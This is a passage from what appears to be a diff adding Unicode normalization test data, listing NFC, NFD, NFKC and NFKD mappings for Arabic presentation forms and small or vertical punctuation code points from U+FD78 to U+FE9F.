+{ source: [0xFD78], NFC: [0xFD78], NFD: [0xFD78], NFKC: [0x0639, 0x0645, 0x0649], NFKD: [0x0639, 0x0645, 0x0649] },
+{ source: [0xFD79], NFC: [0xFD79], NFD: [0xFD79], NFKC: [0x063A, 0x0645, 0x0645], NFKD: [0x063A, 0x0645, 0x0645] },
+{ source: [0xFD7A], NFC: [0xFD7A], NFD: [0xFD7A], NFKC: [0x063A, 0x0645, 0x064A], NFKD: [0x063A, 0x0645, 0x064A] },
+{ source: [0xFD7B], NFC: [0xFD7B], NFD: [0xFD7B], NFKC: [0x063A, 0x0645, 0x0649], NFKD: [0x063A, 0x0645, 0x0649] },
+{ source: [0xFD7C], NFC: [0xFD7C], NFD: [0xFD7C], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7D], NFC: [0xFD7D], NFD: [0xFD7D], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7E], NFC: [0xFD7E], NFD: [0xFD7E], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFD7F], NFC: [0xFD7F], NFD: [0xFD7F], NFKC: [0x0642, 0x0645, 0x0645], NFKD: [0x0642, 0x0645, 0x0645] },
+{ source: [0xFD80], NFC: [0xFD80], NFD: [0xFD80], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFD81], NFC: [0xFD81], NFD: [0xFD81], NFKC: [0x0644, 0x062D, 0x064A], NFKD: [0x0644, 0x062D, 0x064A] },
+{ source: [0xFD82], NFC: [0xFD82], NFD: [0xFD82], NFKC: [0x0644, 0x062D, 0x0649], NFKD: [0x0644, 0x062D, 0x0649] },
+{ source: [0xFD83], NFC: [0xFD83], NFD: [0xFD83], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD84], NFC: [0xFD84], NFD: [0xFD84], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD85], NFC: [0xFD85], NFD: [0xFD85], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD86], NFC: [0xFD86], NFD: [0xFD86], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD87], NFC: [0xFD87], NFD: [0xFD87], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD88], NFC: [0xFD88], NFD: [0xFD88], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD89], NFC: [0xFD89], NFD: [0xFD89], NFKC: [0x0645, 0x062D, 0x062C], NFKD: [0x0645, 0x062D, 0x062C] },
+{ source: [0xFD8A], NFC: [0xFD8A], NFD: [0xFD8A], NFKC: [0x0645, 0x062D, 0x0645], NFKD: [0x0645, 0x062D, 0x0645] },
+{ source: [0xFD8B], NFC: [0xFD8B], NFD: [0xFD8B], NFKC: [0x0645, 0x062D, 0x064A], NFKD: [0x0645, 0x062D, 0x064A] },
+{ source: [0xFD8C], NFC: [0xFD8C], NFD: [0xFD8C], NFKC: [0x0645, 0x062C, 0x062D], NFKD: [0x0645, 0x062C, 0x062D] },
+{ source: [0xFD8D], NFC: [0xFD8D], NFD: [0xFD8D], NFKC: [0x0645, 0x062C, 0x0645], NFKD: [0x0645, 0x062C, 0x0645] },
+{ source: [0xFD8E], NFC: [0xFD8E], NFD: [0xFD8E], NFKC: [0x0645, 0x062E, 0x062C], NFKD: [0x0645, 0x062E, 0x062C] },
+{ source: [0xFD8F], NFC: [0xFD8F], NFD: [0xFD8F], NFKC: [0x0645, 0x062E, 0x0645], NFKD: [0x0645, 0x062E, 0x0645] },
+{ source: [0xFD92], NFC: [0xFD92], NFD: [0xFD92], NFKC: [0x0645, 0x062C, 0x062E], NFKD: [0x0645, 0x062C, 0x062E] },
+{ source: [0xFD93], NFC: [0xFD93], NFD: [0xFD93], NFKC: [0x0647, 0x0645, 0x062C], NFKD: [0x0647, 0x0645, 0x062C] },
+{ source: [0xFD94], NFC: [0xFD94], NFD: [0xFD94], NFKC: [0x0647, 0x0645, 0x0645], NFKD: [0x0647, 0x0645, 0x0645] },
+{ source: [0xFD95], NFC: [0xFD95], NFD: [0xFD95], NFKC: [0x0646, 0x062D, 0x0645], NFKD: [0x0646, 0x062D, 0x0645] },
+{ source: [0xFD96], NFC: [0xFD96], NFD: [0xFD96], NFKC: [0x0646, 0x062D, 0x0649], NFKD: [0x0646, 0x062D, 0x0649] },
+{ source: [0xFD97], NFC: [0xFD97], NFD: [0xFD97], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD98], NFC: [0xFD98], NFD: [0xFD98], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD99], NFC: [0xFD99], NFD: [0xFD99], NFKC: [0x0646, 0x062C, 0x0649], NFKD: [0x0646, 0x062C, 0x0649] },
+{ source: [0xFD9A], NFC: [0xFD9A], NFD: [0xFD9A], NFKC: [0x0646, 0x0645, 0x064A], NFKD: [0x0646, 0x0645, 0x064A] },
+{ source: [0xFD9B], NFC: [0xFD9B], NFD: [0xFD9B], NFKC: [0x0646, 0x0645, 0x0649], NFKD: [0x0646, 0x0645, 0x0649] },
+{ source: [0xFD9C], NFC: [0xFD9C], NFD: [0xFD9C], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9D], NFC: [0xFD9D], NFD: [0xFD9D], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9E], NFC: [0xFD9E], NFD: [0xFD9E], NFKC: [0x0628, 0x062E, 0x064A], NFKD: [0x0628, 0x062E, 0x064A] },
+{ source: [0xFD9F], NFC: [0xFD9F], NFD: [0xFD9F], NFKC: [0x062A, 0x062C, 0x064A], NFKD: [0x062A, 0x062C, 0x064A] },
+{ source: [0xFDA0], NFC: [0xFDA0], NFD: [0xFDA0], NFKC: [0x062A, 0x062C, 0x0649], NFKD: [0x062A, 0x062C, 0x0649] },
+{ source: [0xFDA1], NFC: [0xFDA1], NFD: [0xFDA1], NFKC: [0x062A, 0x062E, 0x064A], NFKD: [0x062A, 0x062E, 0x064A] },
+{ source: [0xFDA2], NFC: [0xFDA2], NFD: [0xFDA2], NFKC: [0x062A, 0x062E, 0x0649], NFKD: [0x062A, 0x062E, 0x0649] },
+{ source: [0xFDA3], NFC: [0xFDA3], NFD: [0xFDA3], NFKC: [0x062A, 0x0645, 0x064A], NFKD: [0x062A, 0x0645, 0x064A] },
+{ source: [0xFDA4], NFC: [0xFDA4], NFD: [0xFDA4], NFKC: [0x062A, 0x0645, 0x0649], NFKD: [0x062A, 0x0645, 0x0649] },
+{ source: [0xFDA5], NFC: [0xFDA5], NFD: [0xFDA5], NFKC: [0x062C, 0x0645, 0x064A], NFKD: [0x062C, 0x0645, 0x064A] },
+{ source: [0xFDA6], NFC: [0xFDA6], NFD: [0xFDA6], NFKC: [0x062C, 0x062D, 0x0649], NFKD: [0x062C, 0x062D, 0x0649] },
+{ source: [0xFDA7], NFC: [0xFDA7], NFD: [0xFDA7], NFKC: [0x062C, 0x0645, 0x0649], NFKD: [0x062C, 0x0645, 0x0649] },
+{ source: [0xFDA8], NFC: [0xFDA8], NFD: [0xFDA8], NFKC: [0x0633, 0x062E, 0x0649], NFKD: [0x0633, 0x062E, 0x0649] },
+{ source: [0xFDA9], NFC: [0xFDA9], NFD: [0xFDA9], NFKC: [0x0635, 0x062D, 0x064A], NFKD: [0x0635, 0x062D, 0x064A] },
+{ source: [0xFDAA], NFC: [0xFDAA], NFD: [0xFDAA], NFKC: [0x0634, 0x062D, 0x064A], NFKD: [0x0634, 0x062D, 0x064A] },
+{ source: [0xFDAB], NFC: [0xFDAB], NFD: [0xFDAB], NFKC: [0x0636, 0x062D, 0x064A], NFKD: [0x0636, 0x062D, 0x064A] },
+{ source: [0xFDAC], NFC: [0xFDAC], NFD: [0xFDAC], NFKC: [0x0644, 0x062C, 0x064A], NFKD: [0x0644, 0x062C, 0x064A] },
+{ source: [0xFDAD], NFC: [0xFDAD], NFD: [0xFDAD], NFKC: [0x0644, 0x0645, 0x064A], NFKD: [0x0644, 0x0645, 0x064A] },
+{ source: [0xFDAE], NFC: [0xFDAE], NFD: [0xFDAE], NFKC: [0x064A, 0x062D, 0x064A], NFKD: [0x064A, 0x062D, 0x064A] },
+{ source: [0xFDAF], NFC: [0xFDAF], NFD: [0xFDAF], NFKC: [0x064A, 0x062C, 0x064A], NFKD: [0x064A, 0x062C, 0x064A] },
+{ source: [0xFDB0], NFC: [0xFDB0], NFD: [0xFDB0], NFKC: [0x064A, 0x0645, 0x064A], NFKD: [0x064A, 0x0645, 0x064A] },
+{ source: [0xFDB1], NFC: [0xFDB1], NFD: [0xFDB1], NFKC: [0x0645, 0x0645, 0x064A], NFKD: [0x0645, 0x0645, 0x064A] },
+{ source: [0xFDB2], NFC: [0xFDB2], NFD: [0xFDB2], NFKC: [0x0642, 0x0645, 0x064A], NFKD: [0x0642, 0x0645, 0x064A] },
+{ source: [0xFDB3], NFC: [0xFDB3], NFD: [0xFDB3], NFKC: [0x0646, 0x062D, 0x064A], NFKD: [0x0646, 0x062D, 0x064A] },
+{ source: [0xFDB4], NFC: [0xFDB4], NFD: [0xFDB4], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFDB5], NFC: [0xFDB5], NFD: [0xFDB5], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFDB6], NFC: [0xFDB6], NFD: [0xFDB6], NFKC: [0x0639, 0x0645, 0x064A], NFKD: [0x0639, 0x0645, 0x064A] },
+{ source: [0xFDB7], NFC: [0xFDB7], NFD: [0xFDB7], NFKC: [0x0643, 0x0645, 0x064A], NFKD: [0x0643, 0x0645, 0x064A] },
+{ source: [0xFDB8], NFC: [0xFDB8], NFD: [0xFDB8], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDB9], NFC: [0xFDB9], NFD: [0xFDB9], NFKC: [0x0645, 0x062E, 0x064A], NFKD: [0x0645, 0x062E, 0x064A] },
+{ source: [0xFDBA], NFC: [0xFDBA], NFD: [0xFDBA], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBB], NFC: [0xFDBB], NFD: [0xFDBB], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDBC], NFC: [0xFDBC], NFD: [0xFDBC], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBD], NFC: [0xFDBD], NFD: [0xFDBD], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDBE], NFC: [0xFDBE], NFD: [0xFDBE], NFKC: [0x062C, 0x062D, 0x064A], NFKD: [0x062C, 0x062D, 0x064A] },
+{ source: [0xFDBF], NFC: [0xFDBF], NFD: [0xFDBF], NFKC: [0x062D, 0x062C, 0x064A], NFKD: [0x062D, 0x062C, 0x064A] },
+{ source: [0xFDC0], NFC: [0xFDC0], NFD: [0xFDC0], NFKC: [0x0645, 0x062C, 0x064A], NFKD: [0x0645, 0x062C, 0x064A] },
+{ source: [0xFDC1], NFC: [0xFDC1], NFD: [0xFDC1], NFKC: [0x0641, 0x0645, 0x064A], NFKD: [0x0641, 0x0645, 0x064A] },
+{ source: [0xFDC2], NFC: [0xFDC2], NFD: [0xFDC2], NFKC: [0x0628, 0x062D, 0x064A], NFKD: [0x0628, 0x062D, 0x064A] },
+{ source: [0xFDC3], NFC: [0xFDC3], NFD: [0xFDC3], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDC4], NFC: [0xFDC4], NFD: [0xFDC4], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFDC5], NFC: [0xFDC5], NFD: [0xFDC5], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFDC6], NFC: [0xFDC6], NFD: [0xFDC6], NFKC: [0x0633, 0x062E, 0x064A], NFKD: [0x0633, 0x062E, 0x064A] },
+{ source: [0xFDC7], NFC: [0xFDC7], NFD: [0xFDC7], NFKC: [0x0646, 0x062C, 0x064A], NFKD: [0x0646, 0x062C, 0x064A] },
+{ source: [0xFDF0], NFC: [0xFDF0], NFD: [0xFDF0], NFKC: [0x0635, 0x0644, 0x06D2], NFKD: [0x0635, 0x0644, 0x06D2] },
+{ source: [0xFDF1], NFC: [0xFDF1], NFD: [0xFDF1], NFKC: [0x0642, 0x0644, 0x06D2], NFKD: [0x0642, 0x0644, 0x06D2] },
+{ source: [0xFDF2], NFC: [0xFDF2], NFD: [0xFDF2], NFKC: [0x0627, 0x0644, 0x0644, 0x0647], NFKD: [0x0627, 0x0644, 0x0644, 0x0647] },
+{ source: [0xFDF3], NFC: [0xFDF3], NFD: [0xFDF3], NFKC: [0x0627, 0x0643, 0x0628, 0x0631], NFKD: [0x0627, 0x0643, 0x0628, 0x0631] },
+{ source: [0xFDF4], NFC: [0xFDF4], NFD: [0xFDF4], NFKC: [0x0645, 0x062D, 0x0645, 0x062F], NFKD: [0x0645, 0x062D, 0x0645, 0x062F] },
+{ source: [0xFDF5], NFC: [0xFDF5], NFD: [0xFDF5], NFKC: [0x0635, 0x0644, 0x0639, 0x0645], NFKD: [0x0635, 0x0644, 0x0639, 0x0645] },
+{ source: [0xFDF6], NFC: [0xFDF6], NFD: [0xFDF6], NFKC: [0x0631, 0x0633, 0x0648, 0x0644], NFKD: [0x0631, 0x0633, 0x0648, 0x0644] },
+{ source: [0xFDF7], NFC: [0xFDF7], NFD: [0xFDF7], NFKC: [0x0639, 0x0644, 0x064A, 0x0647], NFKD: [0x0639, 0x0644, 0x064A, 0x0647] },
+{ source: [0xFDF8], NFC: [0xFDF8], NFD: [0xFDF8], NFKC: [0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDF9], NFC: [0xFDF9], NFD: [0xFDF9], NFKC: [0x0635, 0x0644, 0x0649], NFKD: [0x0635, 0x0644, 0x0649] },
+{ source: [0xFDFA], NFC: [0xFDFA], NFD: [0xFDFA], NFKC: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDFB], NFC: [0xFDFB], NFD: [0xFDFB], NFKC: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647], NFKD: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647] },
+{ source: [0xFDFC], NFC: [0xFDFC], NFD: [0xFDFC], NFKC: [0x0631, 0x06CC, 0x0627, 0x0644], NFKD: [0x0631, 0x06CC, 0x0627, 0x0644] },
+{ source: [0xFE10], NFC: [0xFE10], NFD: [0xFE10], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE11], NFC: [0xFE11], NFD: [0xFE11], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE12], NFC: [0xFE12], NFD: [0xFE12], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFE13], NFC: [0xFE13], NFD: [0xFE13], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE14], NFC: [0xFE14], NFD: [0xFE14], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE15], NFC: [0xFE15], NFD: [0xFE15], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE16], NFC: [0xFE16], NFD: [0xFE16], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE17], NFC: [0xFE17], NFD: [0xFE17], NFKC: [0x3016], NFKD: [0x3016] },
+{ source: [0xFE18], NFC: [0xFE18], NFD: [0xFE18], NFKC: [0x3017], NFKD: [0x3017] },
+{ source: [0xFE19], NFC: [0xFE19], NFD: [0xFE19], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0xFE30], NFC: [0xFE30], NFD: [0xFE30], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0xFE31], NFC: [0xFE31], NFD: [0xFE31], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE32], NFC: [0xFE32], NFD: [0xFE32], NFKC: [0x2013], NFKD: [0x2013] },
+{ source: [0xFE33], NFC: [0xFE33], NFD: [0xFE33], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE34], NFC: [0xFE34], NFD: [0xFE34], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE35], NFC: [0xFE35], NFD: [0xFE35], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE36], NFC: [0xFE36], NFD: [0xFE36], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE37], NFC: [0xFE37], NFD: [0xFE37], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE38], NFC: [0xFE38], NFD: [0xFE38], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE39], NFC: [0xFE39], NFD: [0xFE39], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE3A], NFC: [0xFE3A], NFD: [0xFE3A], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE3B], NFC: [0xFE3B], NFD: [0xFE3B], NFKC: [0x3010], NFKD: [0x3010] },
+{ source: [0xFE3C], NFC: [0xFE3C], NFD: [0xFE3C], NFKC: [0x3011], NFKD: [0x3011] },
+{ source: [0xFE3D], NFC: [0xFE3D], NFD: [0xFE3D], NFKC: [0x300A], NFKD: [0x300A] },
+{ source: [0xFE3E], NFC: [0xFE3E], NFD: [0xFE3E], NFKC: [0x300B], NFKD: [0x300B] },
+{ source: [0xFE3F], NFC: [0xFE3F], NFD: [0xFE3F], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0xFE40], NFC: [0xFE40], NFD: [0xFE40], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0xFE41], NFC: [0xFE41], NFD: [0xFE41], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFE42], NFC: [0xFE42], NFD: [0xFE42], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFE43], NFC: [0xFE43], NFD: [0xFE43], NFKC: [0x300E], NFKD: [0x300E] },
+{ source: [0xFE44], NFC: [0xFE44], NFD: [0xFE44], NFKC: [0x300F], NFKD: [0x300F] },
+{ source: [0xFE47], NFC: [0xFE47], NFD: [0xFE47], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFE48], NFC: [0xFE48], NFD: [0xFE48], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFE49], NFC: [0xFE49], NFD: [0xFE49], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4A], NFC: [0xFE4A], NFD: [0xFE4A], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4B], NFC: [0xFE4B], NFD: [0xFE4B], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4C], NFC: [0xFE4C], NFD: [0xFE4C], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4D], NFC: [0xFE4D], NFD: [0xFE4D], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4E], NFC: [0xFE4E], NFD: [0xFE4E], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4F], NFC: [0xFE4F], NFD: [0xFE4F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE50], NFC: [0xFE50], NFD: [0xFE50], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE51], NFC: [0xFE51], NFD: [0xFE51], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE52], NFC: [0xFE52], NFD: [0xFE52], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFE54], NFC: [0xFE54], NFD: [0xFE54], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE55], NFC: [0xFE55], NFD: [0xFE55], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE56], NFC: [0xFE56], NFD: [0xFE56], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE57], NFC: [0xFE57], NFD: [0xFE57], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE58], NFC: [0xFE58], NFD: [0xFE58], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE59], NFC: [0xFE59], NFD: [0xFE59], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE5A], NFC: [0xFE5A], NFD: [0xFE5A], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE5B], NFC: [0xFE5B], NFD: [0xFE5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE5C], NFC: [0xFE5C], NFD: [0xFE5C], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE5D], NFC: [0xFE5D], NFD: [0xFE5D], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE5E], NFC: [0xFE5E], NFD: [0xFE5E], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE5F], NFC: [0xFE5F], NFD: [0xFE5F], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFE60], NFC: [0xFE60], NFD: [0xFE60], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFE61], NFC: [0xFE61], NFD: [0xFE61], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFE62], NFC: [0xFE62], NFD: [0xFE62], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFE63], NFC: [0xFE63], NFD: [0xFE63], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFE64], NFC: [0xFE64], NFD: [0xFE64], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFE65], NFC: [0xFE65], NFD: [0xFE65], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFE66], NFC: [0xFE66], NFD: [0xFE66], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFE68], NFC: [0xFE68], NFD: [0xFE68], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFE69], NFC: [0xFE69], NFD: [0xFE69], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFE6A], NFC: [0xFE6A], NFD: [0xFE6A], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFE6B], NFC: [0xFE6B], NFD: [0xFE6B], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFE70], NFC: [0xFE70], NFD: [0xFE70], NFKC: [0x0020, 0x064B], NFKD: [0x0020, 0x064B] },
+{ source: [0xFE71], NFC: [0xFE71], NFD: [0xFE71], NFKC: [0x0640, 0x064B], NFKD: [0x0640, 0x064B] },
+{ source: [0xFE72], NFC: [0xFE72], NFD: [0xFE72], NFKC: [0x0020, 0x064C], NFKD: [0x0020, 0x064C] },
+{ source: [0xFE74], NFC: [0xFE74], NFD: [0xFE74], NFKC: [0x0020, 0x064D], NFKD: [0x0020, 0x064D] },
+{ source: [0xFE76], NFC: [0xFE76], NFD: [0xFE76], NFKC: [0x0020, 0x064E], NFKD: [0x0020, 0x064E] },
+{ source: [0xFE77], NFC: [0xFE77], NFD: [0xFE77], NFKC: [0x0640, 0x064E], NFKD: [0x0640, 0x064E] },
+{ source: [0xFE78], NFC: [0xFE78], NFD: [0xFE78], NFKC: [0x0020, 0x064F], NFKD: [0x0020, 0x064F] },
+{ source: [0xFE79], NFC: [0xFE79], NFD: [0xFE79], NFKC: [0x0640, 0x064F], NFKD: [0x0640, 0x064F] },
+{ source: [0xFE7A], NFC: [0xFE7A], NFD: [0xFE7A], NFKC: [0x0020, 0x0650], NFKD: [0x0020, 0x0650] },
+{ source: [0xFE7B], NFC: [0xFE7B], NFD: [0xFE7B], NFKC: [0x0640, 0x0650], NFKD: [0x0640, 0x0650] },
+{ source: [0xFE7C], NFC: [0xFE7C], NFD: [0xFE7C], NFKC: [0x0020, 0x0651], NFKD: [0x0020, 0x0651] },
+{ source: [0xFE7D], NFC: [0xFE7D], NFD: [0xFE7D], NFKC: [0x0640, 0x0651], NFKD: [0x0640, 0x0651] },
+{ source: [0xFE7E], NFC: [0xFE7E], NFD: [0xFE7E], NFKC: [0x0020, 0x0652], NFKD: [0x0020, 0x0652] },
+{ source: [0xFE7F], NFC: [0xFE7F], NFD: [0xFE7F], NFKC: [0x0640, 0x0652], NFKD: [0x0640, 0x0652] },
+{ source: [0xFE80], NFC: [0xFE80], NFD: [0xFE80], NFKC: [0x0621], NFKD: [0x0621] },
+{ source: [0xFE81], NFC: [0xFE81], NFD: [0xFE81], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE82], NFC: [0xFE82], NFD: [0xFE82], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE83], NFC: [0xFE83], NFD: [0xFE83], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE84], NFC: [0xFE84], NFD: [0xFE84], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE85], NFC: [0xFE85], NFD: [0xFE85], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE86], NFC: [0xFE86], NFD: [0xFE86], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE87], NFC: [0xFE87], NFD: [0xFE87], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE88], NFC: [0xFE88], NFD: [0xFE88], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE89], NFC: [0xFE89], NFD: [0xFE89], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8A], NFC: [0xFE8A], NFD: [0xFE8A], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8B], NFC: [0xFE8B], NFD: [0xFE8B], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8C], NFC: [0xFE8C], NFD: [0xFE8C], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8D], NFC: [0xFE8D], NFD: [0xFE8D], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8E], NFC: [0xFE8E], NFD: [0xFE8E], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8F], NFC: [0xFE8F], NFD: [0xFE8F], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE90], NFC: [0xFE90], NFD: [0xFE90], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE91], NFC: [0xFE91], NFD: [0xFE91], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE92], NFC: [0xFE92], NFD: [0xFE92], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE93], NFC: [0xFE93], NFD: [0xFE93], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE94], NFC: [0xFE94], NFD: [0xFE94], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE95], NFC: [0xFE95], NFD: [0xFE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE96], NFC: [0xFE96], NFD: [0xFE96], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE97], NFC: [0xFE97], NFD: [0xFE97], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE98], NFC: [0xFE98], NFD: [0xFE98], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE99], NFC: [0xFE99], NFD: [0xFE99], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9A], NFC: [0xFE9A], NFD: [0xFE9A], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9B], NFC: [0xFE9B], NFD: [0xFE9B], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9C], NFC: [0xFE9C], NFD: [0xFE9C], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9D], NFC: [0xFE9D], NFD: [0xFE9D], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9E], NFC: [0xFE9E], NFD: [0xFE9E], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9F], NFC: [0xFE9F], NFD: [0xFE9F], NFKC: [0x062C], NFKD: [0x062C] },
